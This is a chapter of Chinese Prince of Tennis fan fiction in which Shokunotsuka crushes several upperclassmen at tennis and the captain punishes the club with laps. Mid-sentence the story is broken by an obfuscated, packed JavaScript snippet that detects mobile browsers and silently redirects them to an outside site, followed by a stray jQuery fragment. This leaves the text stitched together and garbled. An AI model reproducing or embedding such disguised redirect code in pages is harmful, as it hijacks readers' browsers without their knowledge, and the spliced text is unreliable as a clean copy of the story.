殖之冢羊弹了弹黄绿色的小球,将球高高抛起,紫罗兰色的眼睛清晰地映入球的轨迹。
此时她的脑袋里没有任何策略,有且只有挥拍。
让身体自由舒展,让直觉决定自己的打法。
“砰!”清脆,又包含力量的击球声。
武居只觉得一阵强风刮过,然后一道尖锐、刺耳的声音从身后的铁网传来。
他愣愣地转过身,看到网球疯狂在铁网上摩擦旋转,试图冲破铁网的阻拦,铁网艰难抵抗,发出“滋啦啦”的抗议声,丝丝白气从球身周围冒出。
最后还是铁网更胜一筹,死死守住最后一道防线,然而球也彻底报废了。
看着已经扭曲得不成样子的铁网,和伤痕累累,不成样子的网球,球场上鸦雀无声。
一时之间他们也不知道要可怜铁网,还是感慨殖之冢羊的力道。
但比赛并没有因为这个小插曲而停止。
这才刚刚开始。
接下来他们见证了什么叫极致的力量。
殖之冢羊打的球并不是什么高技巧的球招,不过是普普通通的球招,不过是对纯粹的力量运用,却令他们无法移开眼睛。
转体、屈膝、搔背这些再正常不过的动作,不知为何由殖之冢羊做出来后有种美感。
不是女性特有的柔美,是一种充满节奏和爆发性张力的力量美,是对动作从蓄力到释放的完美诠释。
真美啊,所有人在心里感概道。
殖之冢羊在球场上肆意奔跑,尽情挥动球拍。
从蹬地开始,力量从腿部涌入髋部 ,身体核心,胸膛、肩膀,最后通过手臂手腕发挥出来,像流水一样,生生不息,柔韧且绵长,连贯且充满力量。
这对殖之冢羊还是个很新鲜的体验,无论是格斗还是学习,总是思考占上风,像现在这样放任自己的身体第一次。
或许是因为对手太弱的缘故,让她激不起一丝思考的兴趣。
现在她就像奔跑在丛林里的猛虎般,自在,无拘无束。
但这并不意味着没有控制,控制就像是已经融入她的骨血中,一举一动就像是狂野与精准的结合。
而武居像被猛兽盯上一般,不是他稍不注意就会丧命,而是他能不能活下来全靠对方的心情,完全被玩弄在手掌心。
而他却无法生出半点恼怒,他已经无暇关心这些了。
与那双眼神对视的瞬间,一股寒意从脊骨涌上大脑,流淌的血液仿佛凝固了一般,四肢变得僵硬,且不受控制。
“砰!”宛若枪声一般沉闷,且爆裂的击球声,一听就是知道力量层次上的差距,强力的压迫如潮水一般涌来。
看到对方挥拍,却看不到球的影子,也不知道球会不会突然落在身后,脚边还是前面。
即便侥幸追上对方让他接的球,球撞向球拍的瞬间,巨大的冲击力让拍线嗡嗡作响。
剧烈的震动从掌心,手腕,手臂,传至肩膀,不等他反应过来球拍便从手里飞离。
没有给他任何一丝喘息的机会。
她用的都是一些普通的球技,然而他却毫无反击之力。
他的力量,他的速度,他的球技,他的落点,他的控制,在绝对的力量面前都是些花拳绣腿。
这像是一场注定要失败的猛兽与被捕食者的游戏,他奔跑,他躲藏,但她总能追上他,玩弄他,享受他的恐惧。
绝望和窒息感扑面而来,他的努力和挣扎,在这绝对性压迫下显得格外的苍白无力。
好痛苦,好累。
他到底为什么要打网球?
“喂,你不觉得武居的样子看起来怪怪的吗?”场外一个二年级学长忍不住用手肘拄了拄身旁的人。
另外一个二年级皱着眉头,看着场上脸上血色尽褪的武居,眼神透着惊惶,仿佛看到了什么可怕的东西。
二年级十分不解,“怎么看起来他很害怕的样子?”
“撒。”
“是对面做了什么吗?”
“她做什么我们不是都看在眼里吗,也没做什么奇怪的举动啊。”
“所以到底是为什么呢?”
“你问我我问谁?”
其实还真是殖之冢羊做的,但在场的人或许只有手冢国光能察觉出来。
和幸村精市的那场比赛,使他在精神力的感知方面稍微通了一些。
现在他已经能够感知到球场上的一些变化。
正是因为感知到了,他才疑惑。
小羊什么时间学会精神力招式的?
为什么他不知道?手冢国光嘴唇微抿。
自我纠结了一小会儿后,将微妙的心情抛去,他开始分析小羊的精神力招式。
感觉上与幸村精市的灭五感有些像,但又不完全像,因为他没有在武居学长身上感知到小羊的精神力。
小羊的精神力好像只围绕在自身,但对手的精神状态却真实受到了影响。
具体是什么样的,还要问过小羊才知道。
“Game set,殖之冢,6-0。”
比赛结束后,武居终于支撑不住,倒在地上。
一群学长连忙上去扶人。
“喂,武居你没事吧?”
其他几个人也七嘴八舌道。
这时一个人站在殖之冢羊的面前,他质问道:“喂,是不是你做了什么?”
正在其他一年级生准备也过来给殖之冢羊撑腰时。
殖之冢羊笑了,她开口道:“学长想知道是不是我做的,跟我打一场不就知道了?”
十五分钟,这个二年级学长跟武居躺在一块。
十分钟后又是一个,然后就跟拔出萝卜带出泥一样,一个接一个。
九分钟,十一分钟……最短的不过五分钟,打一半直接跑了。
直接把大石等人看愣了。
这时大石秀一郎余光瞥见一个人影,眼疾手快地拉住他。
他语气难掩错愕,“乾,你拿球拍做什么?”
乾贞治正气盎然道:“要想拿到一个人的数据,最简单的方法就是和她打一场。”
这一切都是为了数据!
“不行!”大石秀一郎义正辞严,“殖之冢可是为了手冢才跟学长们打网球的,你怎么能去掺一脚?!”
“放开!”乾贞治努力挣扎,“这可是千载难逢的机会,过了这个村就没这个店了!”
“说不行就是不行!”大石秀一郎死死拖住他。
“真拿你没办法。”乾贞治只能使出杀手锏,他推了推眼镜,“听说2组的奈奈子跟你表白了。”
“什么什么什么!”菊丸英二两眼放光,急忙求证道,“是真的吗,大石?”
不二周助笑呵呵道:“大石很受欢迎呢。”
大石秀一郎涨红了脸,连忙摆手,“没有这回事!”
“啊,遭了!!”这是调虎离山之计!
“哼,机会!”乾贞治乘机摆脱大石。
然后转眼不幸跌倒在地。
“噗哈哈哈哈。”一行人忍俊不禁,其中属菊丸英二笑得最大声。
而手冢国光早在乾贞治跌倒时悄悄收回了脚。
然后若无其事地朝殖之冢羊走去。
殖之冢羊一看到他,一语戳破他的心思,“想跟我打?”
手冢国光眼含期待。
这可是限量版的力量小羊,还不知道以后会不会返场,怎么能错过!
殖之冢羊眉梢一挑,意味深长道:“你应该还记得我们的约定吧。”
手冢国光一僵。
…他,忘了。
不过现在想起来了。
他曾经跟她约定过受伤了就不能跟她打比赛。
约定不能打破,于是他跟殖之冢羊商量,等他伤好后再跟他打一场。
殖之冢羊自然是点头同意了。
她想了想道:“那招是个意外,我没想用的,也没想瞒你。”
手冢国光想起之前那不为人知的小心思,不自在的轻咳一声,并表示没事。
殖之冢羊又问:“联系司机叔叔了吗?”
手冢国光点头,“应该快到了。”
“行,那我们走吧。”
“等等。”大石秀一郎见两人要走,连忙拦住。
对上两道疑惑的目光,他指了指地上的人尸。
“这些该怎么处理?”
“放着不管不行吗?”菊丸英二双手交叉放在脑后,无所谓道。
“这怎么行!”大石秀一郎当即反驳,“要是出事了怎么办?”
殖之冢羊一想也是,要是出事了她就脱不了干系,可是她要走了,该交给谁处理?
环顾四周,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236588|181129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有了主意。
她扬声道:“学长们看了这么久也该出来了吧。”
躲在更衣室里的两人默契地选择以不变应万变的策略。
“她在说谁?”河村问。
“撒。”菊丸英二答。
殖之冢羊也没想到人脸皮还挺厚的,但这对她没用。
她又道:“需要我进更衣室请学长出来吗?”
这时更衣室的门缓缓打开,两道蓝白色身影走了出来。
看着他们,大和先发制人道:“大家,你们这是在做什么?”
“我记得我说过的网球部禁止私下比赛。”
“你们都忘了吗?”
“无视纪律,不通知不阻拦,连带责任,全员跑操场100圈。”
“诶!!!!”
“100圈?!”菊丸英二开始掰着手指头数,“一圈四百,100圈就是40公里。”
一算完,头都晕了。
40公里!!!
大和拍了拍手,“好了,不要废话,现在开始跑。”
“诶!现在!”
大和对这些怨言置之不理,直接开始赶人,“快快快。”
其他人包括在地上躺尸的人也爬起来去跑圈。
在手冢国光迟疑时,一道力量从他后衣领传来,是殖之冢羊。
殖之冢羊意志分外坚定,拉着人去找大和,表明要带他去医院。
大和十分痛快地放人,还表明让他先养好伤了再来参加部活,至于100圈就先欠着,等伤好了再说。
殖之冢羊收拾好东西,正准备带手冢国光离开,忽然想起一件事,又绕了回去,拦住正准备跑步的乾贞治。
她履行之前决定的事,认真地对乾贞治道了歉。
乾贞治推了推眼镜,也认真道:“不需要道歉,该道谢的是我,我确实经过这次调查发现了我数据网球的不足。”
一旁的菊丸英二一脸好奇,问身旁的大石秀一郎,“他们两个发生了什么?”
大石秀一郎简单描述一番。
菊丸英二惊呼,惊呼大开眼界,“原来还有这种网球。”
乾贞治顿时寻着味过来,试图传教道:“怎么样,要不要和我学数据网球?”
菊丸英二连忙摇头,“杂技网球才是我想走的路。”
乾贞治不放弃,继续劝:“杂技网球不好学,而且容易牵扯到其他人,趁现在还在新手期,重新来过很容易的。”
菊丸英二有些动摇了,说实话今天会发生这件事的起因就在于他练习杂技网球时不小心把球拍扔到武居学长头上。
他和武居学长起了争执。
途中把过来帮忙拉架的手冢国光也牵扯进来了,事情最后演变成手冢国光和武居比赛。
虽然大家没有怪罪他,但他还是很愧疚。
手冢国光像是察觉到了一般,对他说:“菊丸你的平衡感很好,关节柔韧性也很好,运动神经卓越,爆发力也不错,杂技网球很适合你,还请遵循你内心的选择,不要让外界干扰你的选择。”
被强者认可的菊丸英二心里不禁雀跃起来,他认真点头道:“我知道了,我会继续学杂技网球的。”
没能传教成功的乾贞治十分失望,但没再劝。
“好了好了,你们几个怎么还不跑,是想今晚住在学校吗?”
大和走过来道,赶几个人去操场跑步,也把手冢国光和殖之冢羊赶走。
见人走了,大和跑去操场监督人跑圈,还催促落后的人跑快点。
小林这时走了过来,他问:“这事就这样处理了吗?”
“怎么可能。”大和头也不回道。
虽然他信奉网球是快乐的,是自由的,无论谁,天资好坏都可以打网球。
但,再怎么说,“打人总归是不好的,已经不是100圈能解决的事了。”
“让他退部吧。”大和道,“而且现在打网球对他来说已经是件痛苦的事了。”
小林叹了口气,对此不是很意外。
大和其他事还好说话,但在这事上是没商量的。
他挠了挠头,“那我现在就去和他说吧。”
“诶诶诶。”大和拦住他。
对上小林的目光,大和脸上带笑,“等他100圈跑完再去。”
退部归退部,但惩罚不能少。